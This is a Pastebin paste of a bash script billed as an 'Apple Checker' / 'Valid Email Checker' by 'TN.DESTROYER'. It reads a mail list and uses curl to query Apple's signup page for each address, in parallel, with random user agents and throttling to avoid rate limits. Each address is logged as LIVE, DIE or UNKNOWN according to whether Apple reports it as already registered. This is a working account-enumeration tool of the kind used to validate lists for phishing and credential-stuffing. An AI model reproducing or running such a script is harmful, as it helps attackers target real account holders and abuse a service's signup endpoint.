Advertisement
TNDESTROYER

Untitled

Dec 29th, 2017
414
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.65 KB | None | 0 0
  1. #!/bin/bash
  2. # Powered by : AwesomeNetwork | Fahmi V Squad
  3. # Thanks to : AwesomeNetwork Crew & all
  4.  
  5. header(){
  6. CY='\e[36m'
  7. GR='\e[34m'
  8. OG='\e[92m'
  9. WH='\e[37m'
  10. RD='\e[31m'
  11. YL='\e[33m'
  12. BF='\e[34m'
  13. DF='\e[39m'
  14. OR='\e[33m'
  15. PP='\e[35m'
  16. B='\e[1m'
  17. CC='\e[0m'
  18. cat << "EOF"
  19. _______ __ ____ _____________________ ______ ____________
  20. /_ __/ | / / / __ \/ ____/ ___/_ __/ __ \/ __ \ \/ / ____/ __ \
  21. / / / |/ / / / / / __/ \__ \ / / / /_/ / / / /\ / __/ / /_/ /
  22. / / / /| / / /_/ / /___ ___/ // / / _, _/ /_/ / / / /___/ _, _/
  23. /_/ /_/ |_/ /_____/_____//____//_/ /_/ |_|\____/ /_/_____/_/ |_| Apple Checker
  24.  
  25.  
  26. [+] Valid Email Checker 2018
  27. [+] CODE BY TN.DESTROYER
  28.  
  29. EOF
  30. printf "\n"
  31. }
  32.  
  33. UA=$(cat ua.txt | sort -R | head -1)
  34.  
  35. ngecek_email(){ # CHECK VALID
  36. local jsessionid=$(curl -s --head https://ams.apple.com/pages/SignUp.jsf | grep -Po "(?<=Set-Cookie: JSESSIONID=)[^;]*")
  37. local used=$(curl -s -D - "https://ams.apple.com/pages/SignUp.jsf;jsessionid=$JSESSIONID" \
  38. -H "Cookie: JSESSIONID=$jsessionid;" \
  39. -H "User-Agent: $5" \
  40. -d "SignUpForm=SignUpForm&SignUpForm%3AemailField=$1&SignUpForm%3AblueCenter=Continue&javax.faces.ViewState=j_id1")
  41. if [[ $used =~ "200 OK" ]]; then
  42. if [[ $used =~ "This email address is already registered as an Apple ID, please sign in." ]]; then
  43. printf "${B}${OG}[LIVE]${CC} ${1} => ${PP}(Checked At $(date))${DF} - ${CY}${B}TN.DESTROYER${CC} \n"
  44. echo $1 >> $2
  45. else
  46. printf "${B}${RD}[DIE]${CC} ${1} => ${PP}(Checked At $(date))${DF} - ${CY}${B}TN.DESTROYER${CC} \n"
  47. echo $1 >> $3
  48. fi
  49. else
  50. printf "${B}${OR}[UNKNOWN]${CC} ${1} => ${PP}(Checked At $(date))${DF} - ${CY}${B}TN.DESTROYER${CC} \n"
  51. echo $1 >> $4
  52. fi
  53. }
  54.  
  55. # CHECK SPECIAL VAR FOR MAILIST
  56. if [[ -z $1 ]]; then
  57. header
  58. printf "To Use $0 <mailist.txt> \n"
  59. exit 1
  60. fi
  61.  
  62. # CALL HEADER
  63. header
  64. # CHECK OUTPUT FOLDER
  65. Output='Output' # Change Output Folder
  66. if [[ ! -d $Output ]]; then
  67. printf "${RD}[?]${DF} ${B}No output Folder${CC}\n"
  68. printf "${BF}[+]${DF} ${B}Create Output Folder${CC}\n"
  69. mkdir $Output
  70. if [[ -d $Output ]]; then
  71. printf "${OG}[+]${DF} ${B}Output Folder Created${CC}\n\n"
  72. else
  73. printf "${RD}[-]${DF} ${B}Output Folder Failed To Created${CC}\n"
  74. fi
  75. else
  76. printf "${OG}[+]${DF} ${B}Output Folder Found${CC}\n"
  77. printf "${OG}[+]${DF} ${B}Use Output Folder${CC}\n\n"
  78. fi
  79.  
  80. # TOUCH OUTPUT FILE
  81. VALID="${Output}/valid.txt"
  82. INVALID="${Output}/invalid.txt"
  83. UNKNOWN="${Output}/unknown.txt"
  84. touch $VALID
  85. printf "$OG[+]${DF}${B} $VALID Created${CC}\n"
  86. touch $INVALID
  87. printf "$OG[+]${DF}${B} $INVALID Created${CC}\n"
  88. touch $UNKNOWN
  89. printf "$OG[+]${DF}${B} $UNKNOWN Created${CC}\n\n"
  90.  
  91. # CHECK LINES IN MAILIST
  92. lines=$(wc -l $1 | cut -f1 -d' ')
  93. printf "${OG}[+]${DF}${B} Found ${lines} mailist in ${1}${CC}\n\n"
  94.  
  95. # OPTIONAL
  96. persend=49
  97. setleep=5
  98.  
  99. # MAIN
  100. IFS=$'\r\n' GLOBIGNORE='*' command eval 'mailist=($(cat $1))'
  101. itung=1
  102. STARTTIME=$(date +%s)
  103. for (( i = 0; i < "${#mailist[@]}"; i++ )); do
  104. username="${mailist[$i]}"
  105. set_kirik=$(expr $itung % $persend)
  106. if [[ $set_kirik == 0 && $itung > 0 ]]; then
  107. sleep $setleep
  108. fi
  109. ngecek_email $username $VALID $INVALID $UNKNOWN $UA &
  110. grep -v -- "$username" $1 > temp && mv temp $1
  111. itung=$[$itung+1]
  112. done
  113. wait
  114. ENDTIME=$(date +%s)
  115.  
  116. # RESULT
  117. printf "\n${PP}It takes $[$ENDTIME - $STARTTIME] seconds To Check ${lines} ${CC}\n"
  118.  
  119. #READ LINES OUTPUT
  120. T_VALID=$(wc -l $VALID | cut -f1 -d' ')
  121. T_INVALID=$(wc -l $INVALID | cut -f1 -d' ')
  122. T_UNKNOWN=$(wc -l $UNKNOWN | cut -f1 -d' ')
  123.  
  124. printf "LIVE : $T_VALID | DEAD : $T_INVALID | UNKNOWN : $T_UNKNOWN\n$CC"
  125. printf "${B}${BF}-===[TN.DESTROYER]===-${CC}\n\n"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement